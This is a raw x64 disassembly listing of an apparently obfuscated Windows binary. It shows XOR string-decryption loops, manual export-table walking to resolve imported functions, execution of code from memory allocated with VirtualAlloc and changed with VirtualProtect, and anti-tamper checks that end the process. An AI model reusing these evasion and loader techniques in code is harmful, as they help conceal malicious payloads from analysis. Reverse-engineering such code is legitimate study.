jb 0x14002e3f5
mov byte [rbp + 0xba2], r14b
xor r9d, r9d
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0xb80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009dce8
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe50]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400ee5f0], r14
jne 0x14002e4c3
mov ecx, 0x26b0
call fcn.1400a25ac
test rax, rax
je 0x14002e4c3
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400ee5f0], rax
mov qword [rbp + 0xe48], r14
mov qword [rbp + 0x1040], rdi
movdqa xmm0, xmmword [0x1400e0010]
movdqu xmmword [rbp + 0x7f0], xmm0
mov dword [rbp + 0x800], 0x15d46150
mov dword [rbp + 0x804], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7f0]
lea rcx, [rbp + 0x7f0]
call fcn.1400384ec
xor al, dil
mov byte [rbp + rdi + 0x7f0], al
inc rdi
cmp rdi, 0x17
jb 0x14002e502
mov byte [rbp + 0x807], r14b
mov rbx, qword [0x1400ee5f0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14002e621
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e5d9
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a25ac
mov rsi, rax
test rax, rax
je 0x14002e61e
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400ee5f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c07a0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0e40
mov rcx, rdi
call fcn.1400a2488
mov qword [0x1400ee5f0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7f0]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x178], 0x84015c7a
mov dword [rbp + 0x17c], 0xe3e51d90
mov word [rbp + 0x180], Ordinal_143
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x178]
lea rcx, [rbp + 0x178]
call fcn.140038404
xor al, dil
mov byte [rbp + rdi + 0x178], al
inc rdi
cmp rdi, 9
jb 0x14002e64b
mov byte [rbp + 0x181], r14b
mov rbx, qword [0x1400ee5f0]
test rbx, rbx
je 0x14002e764
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e71b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a25ac
mov rsi, rax
test rax, rax
je 0x14002e761
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400ee5f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c07a0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0e40
mov rcx, rdi
call fcn.1400a2488
mov qword [0x1400ee5f0], rsi
mov rbx, rsi
lea rax, [rbp + 0x178]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002e996
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e996
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002e996
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002e996
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002e996
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7f0]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002e7fb
inc rax
test edi, edi
jne 0x14002e7e6
test r8d, r8d
je 0x14002e80d
inc rdx
cmp rdx, rsi
jb 0x14002e7d5
jmp 0x14002e996
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002e996
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14002e832
mov r14d, r15d
jmp 0x14002e996
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.140096d20
or dword [rbp + 0x22274], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x20ef0]
call fcn.140038fc8
lea rcx, [rbp + 0x20ef0]
call fcn.140038560
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x20ef0]
call fcn.140038560
mov eax, eax
mov qword [rbp + rdi*8 + 0x296e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002e8a9
mov r8, r12
lea rdx, [rbp + 0x296e0]
mov rcx, rsi
call fcn.1400c07a0
mov dword [0x1400ec284], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400ec280]
movsd qword [rdi], xmm0
movzx eax, word [0x1400ec288]
mov word [rdi + 8], ax
mov al, byte [0x1400ec28a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xf98], r15d
lea r9, [rbp + 0xf98]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1040]
mov r8d, 3
lea rdx, [rbp + 0xe48]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xf98]
mov r8d, dword [rbp + 0xf98]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400c0e40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400ec284], r15d
mov rdi, qword [0x1400ee5f0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14002ea4a
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002ea38
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002ea38
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002e9fd
xor edx, edx
call fcn.1400c0e40
jmp 0x14002ea36
cmp al, 1
jne 0x14002ea38
mov rdx, rcx
lea rcx, [rbp + 0x1180]
call fcn.140038d30
xor edx, edx
lea rcx, [rbp + 0x1180]
call fcn.140038ee4
lea rcx, [rbp + 0x1180]
call fcn.140038e74
lea rcx, [rbp + 0x1180]
call fcn.140002b88
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002e9c1
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c0e40
mov rcx, rdi
call fcn.1400a2488
xor r15d, r15d
mov qword [0x1400ee5f0], r15
test r14d, r14d
js 0x140036ea0
mov rax, qword [rbp + 0xe48]
mov qword [rbp - 0x48], rax
test rax, rax
je 0x140036ea0
mov r13, qword [rbp + 0xe50]
mov ecx, 0x26b0
call fcn.1400a25ac
test rax, rax
je 0x14002eaae
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400ee5f0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1008], 0x1000
movdqa xmm0, xmmword [0x1400e0010]
movdqu xmmword [rbp + 0x808], xmm0
mov dword [rbp + 0x818], 0x15d46150
mov dword [rbp + 0x81c], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x808]
lea rcx, [rbp + 0x808]
call fcn.1400384ec
xor al, dil
mov byte [rbp + rdi + 0x808], al
inc rdi
cmp rdi, 0x17
jb 0x14002eaf1
mov byte [rbp + 0x81f], r15b
mov rbx, qword [0x1400ee5f0]
test rbx, rbx
je 0x14002ec18
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002ebc4
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a25ac
mov rsi, rax
test rax, rax
je 0x14002ec0b
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400ee5f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c07a0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0e40
mov rcx, rdi
call fcn.1400a2488
mov qword [0x1400ee5f0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x808]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002ec0e
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x128], 0x84015c7a
mov dword [rbp + 0x12c], 0xe3e51d90
mov word [rbp + 0x130], Ordinal_143
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x128]
lea rcx, [rbp + 0x128]
call fcn.140038404
xor al, dil
mov byte [rbp + rdi + 0x128], al
inc rdi
cmp rdi, 9
jb 0x14002ec38
mov byte [rbp + 0x131], r15b
mov rbx, qword [0x1400ee5f0]
test rbx, rbx
je 0x14002ed56
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002ed0b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a25ac
mov rsi, rax
test rax, rax
je 0x14002ed53
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400ee5f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c07a0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0e40
mov rcx, rdi
call fcn.1400a2488
mov qword [0x1400ee5f0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x128]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002ed56
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002edea
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002edea
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002edea
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002edea
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002edea
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x808]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002edd9
inc rax
test edi, edi
jne 0x14002edc4
test r8d, r8d
je 0x14002ee65
inc rdx
cmp rdx, rsi
jb 0x14002edb3
mov r14d, r15d
mov rdi, qword [0x1400ee5f0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x14002f034
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002f022
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002f022
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002efe9
xor edx, edx
call fcn.1400c0e40
jmp 0x14002f022
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002edea
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002edea
cmp al, 1
jne 0x14002f022
mov rdx, rcx
lea rcx, [rbp + 0x10a0]
call fcn.140038d30
xor edx, edx
lea rcx, [rbp + 0x10a0]
call fcn.140038ee4
lea rcx, [rbp + 0x10a0]
call fcn.140038e74
lea rcx, [rbp + 0x10a0]
call fcn.140002b88
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002ee1a
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c0e40
mov rcx, rdi
call fcn.1400a2488
mov qword [0x1400ee5f0], r13
test r14d, r14d
js 0x140036d07
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x40], r12
test r12, r12
je 0x140036d07
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1220], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1228], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1230], rax
mov rbx, qword [rbp - 0x48]
mov qword [rbp + 0x1238], rbx
mov rax, qword [rbp + 0xf88]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1240], rax
mov r14, qword [rsp + 0x68]
mov qword [rsp + 0x68], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x14002f0e5
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1220]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x14002f15e
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x14002f140
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x68], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x68]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x14002f1fe
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x14002f26c
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x478], xmm0
mov word [rbp + 0x488], Ordinal_200
mov r10, r13
movabs rbx, 0x1092e4721
movabs rsi, 0x8080808080808081
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r14, 0x1092e4720
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x478]
xor dil, r10b
mov byte [rbp + r10 + 0x478], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140036d5b
mov byte [rbp + 0x489], r13b
movdqa xmm0, xmmword [0x1400dfd80]
movdqu xmmword [rbp + 0x960], xmm0
mov dword [rbp + 0x970], 0x2797e725
mov dword [rbp + 0x974], 0x95bfb431
mov dword [rbp + 0x978], 0xec45ab6f
xor eax, eax
mov byte [rbp + 0x97c], al
mov r8, r13
movabs r9, 0x1d010fc79c
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x960], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x3a021f8f38
cmp r9, rax
jb 0x140036e0e
mov byte [rbp + 0x97c], r13b
xor r9d, r9d
lea r8, [rbp + 0x478]
lea rdx, [rbp + 0x960]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x490], xmm0
mov word [rbp + 0x4a0], Ordinal_200
mov r10, r15
movabs rbx, 0x1092e4721
movabs rsi, 0x8080808080808081
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r14, 0x1092e4720
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x490], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140036ef4
mov byte [rbp + 0x4a1], r15b
movdqa xmm0, xmmword [0x1400e0060]
movdqu xmmword [rbp + 0x748], xmm0
mov dword [rbp + 0x758], 0xc1b59728
mov word [rbp + 0x75c], reloc.WS2_32.dll_WSAStartup
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x15c0cbd5b5
movabs r10, 0x2b8197ab6a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x748]
xor dil, r9b
mov byte [rbp + r9 + 0x748], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140036f98
mov byte [rbp + 0x75d], r15b
xor r9d, r9d
lea r8, [rbp + 0x490]
lea rdx, [rbp + 0x748]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009dce8
int3
cmp rax, rbx
jne 0x1400370d3
mov rax, qword gs:[8]
movabs rcx, 0x6d643a356b9160c0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400370b3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400370b3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400370d3
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x4a8], xmm0
mov word [rbp + 0x4b8], Ordinal_200
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r15, 0x1092e4720
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x4a8]
xor dil, r10b
mov byte [rbp + r10 + 0x4a8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003711d
mov byte [rbp + 0x4b9], r14b
movdqa xmm0, xmmword [0x1400dff00]
movdqu xmmword [rbp + 0x868], xmm0
mov dword [rbp + 0x878], 0xee5ca290
mov dword [rbp + 0x87c], 0x4a066e
mov r8, r14
movabs r9, 0x17d32863f7
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x868], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x2fa650c7ee
cmp r9, rax
jb 0x1400371c0
mov byte [rbp + 0x87f], r14b
xor r9d, r9d
lea r8, [rbp + 0x4a8]
lea rdx, [rbp + 0x868]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x58]
cmp rax, rbx
jne 0x140037304
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x13728509
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400372e4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400372e4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037304
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rbx
jne 0x1400379b3
mov rax, qword gs:[8]
mov esi, 0x8d664a41
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037397
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037397
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400379b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x4c0], xmm0
mov word [rbp + 0x4d0], Ordinal_200
mov r10, r14
movabs rbx, 0x8080808080808081
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r13, 0x1092e4720
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x4c0]
xor dil, r10b
mov byte [rbp + r10 + 0x4c0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140037401
mov byte [rbp + 0x4d1], r14b
movdqa xmm0, xmmword [0x1400dff10]
movdqu xmmword [rbp + 0x760], xmm0
mov dword [rbp + 0x770], 0xc8b1930d
mov word [rbp + 0x774], 0x62
mov r9, r14
movabs r8, 0x15c0cbd5b5
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x2b8197ab6a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x760], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x1400374ad
mov byte [rbp + 0x775], r14b
xor r9d, r9d
lea r8, [rbp + 0x4c0]
lea rdx, [rbp + 0x760]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x1400375e7
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x13728509
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
